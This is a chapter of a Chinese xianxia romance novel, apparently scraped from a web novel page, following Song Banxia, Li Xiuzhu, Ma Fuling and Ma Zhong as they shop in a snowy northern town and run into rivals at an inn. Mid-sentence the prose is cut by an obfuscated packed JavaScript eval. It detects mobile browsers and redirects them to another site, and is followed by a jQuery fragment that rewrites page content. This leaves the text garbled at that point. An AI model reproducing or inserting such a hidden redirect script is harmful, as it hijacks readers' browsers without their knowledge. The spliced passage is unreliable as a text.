宋半夏对着他的背影撅了撅嘴,一偏头看到了目光一直落在马茯苓身上没移动的马忠,就算是街边的狗也该知道这人喜欢马茯苓。 她心情落了落。 前方李修竹传来声音:“还不走?” 宋半夏抬了抬头。 李修竹似乎是叹了一口气,俊俏的面容扭向她,眸光深深浅浅:“又看上什么东西了?” 他的话听来给人一种被纵容的感觉。 宋半夏心脏扭紧,垂在衣袖里的手握了握,留下些许印记,街上人声嘈杂,他们站在流动的人群中望着。 北海的风比中洲的风要冷,越临近海边,越带着湿哒哒的水汽,路边积雪重。 她身上的白色毛领像草地,一会儿倒向这边,一会儿倒向那边。 须臾,宋半夏朝李修竹大步跑去。 站在他的面前,却发现他两只手都满了自己买的东西,已经没有空余的手来牵她了。 她呼出的气息白茫茫,模糊了二人的双眼,使她看向他时,总带着一层虚幻的光环。 李修竹站着等了她片刻,手中的东西多而杂,让他看起来像一颗挂满礼物的树。他想,真糟糕,一点也没有他逍遥剑君的往日风范。 他本可以将这些东西收到芥子里,可又怕她想要时找不到,于是只能就这么提着,等到她想起来,低头去寻,打开纸袋尝一口。 一盒马蹄糕、一盒胭脂、一包酥饼、一瓶酒酿……这里有太多东西了,她喜欢的也太多,匆匆买下,匆匆忘记,徒留那盒马蹄糕在寒风中变得冰凉而刺骨,最终被她厌弃,转头又看向街边其他的糕点。 宋半夏左看看右看看,转身跟李修竹并排往前走,一步,两步,三步,她深吸了一口寒冷的气息,伸出手揪住了李修竹的袖子。 或许是为了打架方便,他宽大的袖子常常在小臂到手腕处束起,看着就很利落而潇洒。 不过, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16650655|184644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现如今,他挂了这么多东西,要潇洒也难潇洒起来了,而她又伸出了手揪住了他的衣衫,就更使他多了一个沉重的负担,这下他就彻底没法潇洒了。 宋半夏想到这一点心里就愧疚,可却仍没有松开手。 她想,这条路,如果能再长点就好了,她不怕累,也不怕寒冷,如果人群再拥挤一点就好了,她不怕人潮,也不怕抗争。 其实说来说去,她只是想跟他能待的时间更长一点,彼此能离得更近一点。 宋半夏抬了抬下巴。 其实说来说去,他只是想跟她能待的时间更长一点,彼此能离得更近一点。 李修竹于心中默默叹息。 * 马茯苓见宋半夏二人一前一后走远,并没有着急赶上去,只是看着那二人背影,心里的那颗疙瘩,仍没有散开。 “怎么了?”马忠问。 他把正在沉思的马茯苓吓了一跳,马茯苓扭头看向他,刚想说什么,忽然脑袋里蹦出宋半夏提出的计划,顿时闭了嘴,眸子往下落,落到了他突出的喉结上,霎时被蛰了一样撇开了脸。 “没事。”她说。 马茯苓率先抬脚去往前走去,马忠尽职尽责跟在她身后,好像她还是那个马家不受宠的小姐,好像他还是马家那个沉闷恼人的客卿。 一步两步三步。 她从前面的人群里停下脚步,深吸了一口气,鼓足了勇气,转头看向他,眸子里带着一些恼意,说:“你就非要跟在我身后吗?不能上我身前来?!” 马忠怔了怔,果真往前走去,走到了马茯苓身前两步的距离,回头看她。 马茯苓简直要被这个家伙气死。 “你……”马茯苓憋了半天说,“你真是讨厌!” 马忠常从她口中听到这句话,从前在马家的时候,他就是她最讨厌的客卿。 后来离开马家,她仍讨厌他。 “我讨厌你看我的眼神!讨厌你龌龊的心思!”——曾经吵架最激烈的时候,她对他骂道。 他知道自己的心思实在难以掩盖,他也没有想去掩盖。 放弃众人趋之若鹜的马家客卿身份,成为一名被马家通缉的散修,若说他对她没有别的心思,这实在也说不过去。 如她所说,他确实龌龊。 他守着她,不论她是打是骂,总之除了离开她这一点,其他的,豁出性命他都会办到。 其实马忠未尝不知道她看向他的目光在逐渐变化着,就像她曾经会熟若无睹地漠然对待他身上的伤口,如今却也紧张起来。 可他却踌躇不前起来。 或许他给自己定下了太多的规矩,怕这规矩打破,她和他都会落到不好的下场。也或许是,曾经的厌憎和嫌弃使他怕了,怕自己误解她的意思,怕受到更恐怖的伤害。 “小姐。”他说。 马茯苓仰头看他,他没能再说出半个字。 马茯苓恼羞成怒,甩了甩袖子往前走去,走到一半,又气势汹汹转过头,从马忠手上把宋半夏给她买的点心拿下来,放进芥子里,瞪了他一眼,走掉了。 * 客栈,孟灵和闻奈已经将房间开好。 宋半夏拿着钥匙甩了甩,开门去了自己房间,不知道是谁的主意,竟然给她和李修竹开了两间房,这让她感到了一点生气,但想了想自己如今这个情况,就耷拉下了脑袋,没有去找茬。 她推开房门准备去熟悉熟悉其他几人的房间的时候,对面的房门在同一时间陆续打开了。 宋半夏看着对面的几人,尤其是那其中的一对男女,眼前一黑。 “半夏!”赵琳惊诧过后隔着很远的距离出声叫她。 她身旁的沈凌扭头看了一眼自己兄长。 沈广陵怔了一下。 真是冤家路窄,宋半夏心想。 隔壁房间,闻奈、孟灵、叶晃正聚在李修竹的房间内,因为没讲什么私密的事情,所以并没有设置法阵,因此屋里的一众修为高深的人,很容易就听到了那声半夏。 谈话声顿时止住,闻奈看了一眼李修竹。 李修竹心里滞了滞,面上倒还端着架子,看起来十分平静无波,手下转着瓷杯子。 听着外面的谈话,孟灵皱眉对闻奈道:“怎么选了这么一个地方?” 闻奈伸出两只手在身边说:“叶晃定的客栈。” 李修竹抬了抬眼,看向叶晃。 叶晃说:“尤家和青云宗要联手开辟新秘境,这里的客栈早就被订光了,就这客栈的房间还是托了苏梦书的福。” 李修竹不吃他这一套,冷笑道:“客栈都订光了了,所以给本尊和本尊的夫人特意订了两间上房?” 叶晃被李修竹的气势压的僵了僵,梗直了脖子,也沉下脸来,破有种死猪不怕开水烫的架势说:“你不乐意,怎么一开始不说?” 那时候宋半夏已经把房间钥匙接到手里了,两把钥匙,她自己留了一把,一把递给了李修竹。 李修竹能说什么,只能接下来了。 闻奈道:“消消气消消气,都是自己人,何必大动肝火,而且你二人房间不是挨着嘛?如果不愿意,就空着一间房就是了。” 叶晃:“谁不愿意?” 孟灵看着李修竹冷下去的脸,在桌子底下踢了叶晃一脚,骂他:“你少说两句吧。” 叶晃抱着刀,不说话了。 倒不是因为别的,而是外面出现了沈广陵的声音,他的仇恨值一下子被外面那家伙拉了过去。